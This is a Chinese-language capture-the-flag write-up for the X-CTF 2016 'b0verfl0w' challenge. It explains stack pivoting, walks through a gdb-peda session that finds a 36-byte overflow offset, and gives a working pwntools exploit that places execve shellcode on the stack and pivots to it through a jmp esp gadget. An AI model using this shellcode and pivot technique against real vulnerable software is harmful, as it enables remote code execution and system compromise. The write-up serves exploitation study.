b0verfl0w_X-CTF Quals 2016

题目地址:b0verfl0w

1.基本信息收集

1.文件信息

sk_pt1.png

2.查看保护

sk_pt2.png

3.IDA查看反汇编代码

sk_pt3.png

2.漏洞定位及利用思路

Stack pivot

可以看到vul()函数存在栈溢出漏洞,但是很明显我们可以利用的空间并不大,由上图注释,s到bp距离为20字节,而bp占4字节,所以能溢出的栈空间只有50-0x20-4=14字节。所以我们再进行ROP技术就变的困难许多。

不过我们可以用Stack pivot(劫持栈指针)的方法,下面简单介绍一下,内容摘自ctf-wiki。

是什么?

劫持栈指针(Stack pivot)就是改写rsp(esp),使其指向其他位置。这样栈也就被劫持到攻击者控制的内存上去,然后在该位置做ROP。

为什么?

1.可以控制的栈溢出的字节比较少,难以构造较长的ROP链,无法直接利用溢出字节进行ROP

2.开启了PIE保护,栈地址未知,并且无法泄露,但是利用某些技术(如ret2dl-resolve)时,必须知道栈地址,可以通过stack pivot将栈劫持到相应的区域

3.其它漏洞难以利用,stack pivot 能够将一些非栈溢出的漏洞,变成栈溢出的漏洞,例如,将程序劫持到堆空间中。

利用条件:

如果在尝试了直接Rop发现比较难实现,并且程序中有可以利用进行读写的函数,就可以考虑stack pivot

1.可以控制程序执行流

2.存在地址已知,内容可控的Buffer
(1) BSS,由于进程按页分配内存,分配给bss段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且bss段分配的内存页拥有读写权限

​ (2) 堆,但是需要我们能够泄露堆地址

3.可以控制sp指针,一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是 pop rsp/esp

再回到题目:

由于可以控制的栈溢出的字节比较少,难以构造较长的ROP链,无法直接利用溢出字节进行ROP,但是满足Stack pivot的利用条件,所以本题可以用Stack pivot。

注意到存在一个hint函数,反汇编查看一下;

sk_pt4.jpg

这是一个很重要的提示,我们稍后会用到。

接下来按照正常栈溢出的题目的套路来:

3.利用步骤

1.找填充值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
gdb-peda$ pattern create 100 /tmp/input
Writing pattern of 100 chars to filename "/tmp/input"
gdb-peda$ r < /tmp/input
Starting program: /home/hc/study/pwn/stackoverflow/stack pivoting/b0verfl0w < /tmp/input

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb.
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0xf7fb5890 --> 0x0
EDX: 0x0
ESI: 0xf7fb4000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x41412941 ('A)AA')
ESP: 0xffffce90 ("AA0AAFAAb")
EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xffffce90 ("AA0AAFAAb")
0004| 0xffffce94 ("AFAAb")
0008| 0xffffce98 --> 0x62 ('b')
0012| 0xffffce9c --> 0xf7df7e81 (<__libc_start_main+241>: add esp,0x10)
0016| 0xffffcea0 --> 0x1
0020| 0xffffcea4 --> 0xffffcf34 --> 0xffffd123 ("/home/hc/study/pwn/stackoverflow/stack pivoting/b0verfl0w")
0024| 0xffffcea8 --> 0xffffcf3c --> 0xffffd15d ("XDG_SEAT=seat0")
0028| 0xffffceac --> 0xffffcec4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
EBP+0 found at offset: 32
EIP+0 found at offset: 36
Registers point to pattern buffer:
[ESP] --> offset 40 - size ~9
Pattern buffer found at:
0x0804b166 : offset 0 - size 49 ([heap])
0x0804b570 : offset 0 - size 100 ([heap])
0xffffce68 : offset 0 - size 49 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0xf7fb45cc : 0x0804b570 (/lib32/libc-2.27.so)
0xf7fb45d0 : 0x0804b570 (/lib32/libc-2.27.so)
0xf7fb45d4 : 0x0804b570 (/lib32/libc-2.27.so)
0xf7fb45d8 : 0x0804b570 (/lib32/libc-2.27.so)
0xf7fb45dc : 0x0804b570 (/lib32/libc-2.27.so)
0xffffcd08 : 0x0804b570 ($sp + -0x188 [-98 dwords])
0xffffc984 : 0xffffce68 ($sp + -0x50c [-323 dwords])
0xffffcdac : 0xffffce68 ($sp + -0xe4 [-57 dwords])
0xffffce54 : 0xffffce68 ($sp + -0x3c [-15 dwords])

填充值为36。所以我们需要填充36字节的垃圾值然后跟上要返回的地址(4字节)

我们的payload可以构造如下:

sk_pt5.png

0x08048504为jmp esp 的gadgets(看前面提到的hint),覆盖了返回地址,当程序执行到ret时,将该地址pop给eip,并且esp会加4指向asm(sub esp,0x28;jmp esp),然后eip执行地址0x08048504上的代码jmp esp,eip又会执行esp指向的sub esp,0x28;jmp esp,完成esp的劫持。正常情况下eip指向的是.text段中的代码,所以需要将sub esp,0x28;jmp esp转化为机器码,这里是十六进制机器码。

至于为什么是sub 0x28,36byte+4byte=40byte=0x28byte。

2.编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./b0verfl0w')

jmp_esp = 0x08048504
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = shellcode + 'A' * (36 - len(shellcode)) + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')

p.recv()
p.sendline(payload)
p.interactive()

sk_pt6.jpg

0%
//这里改为从本地加载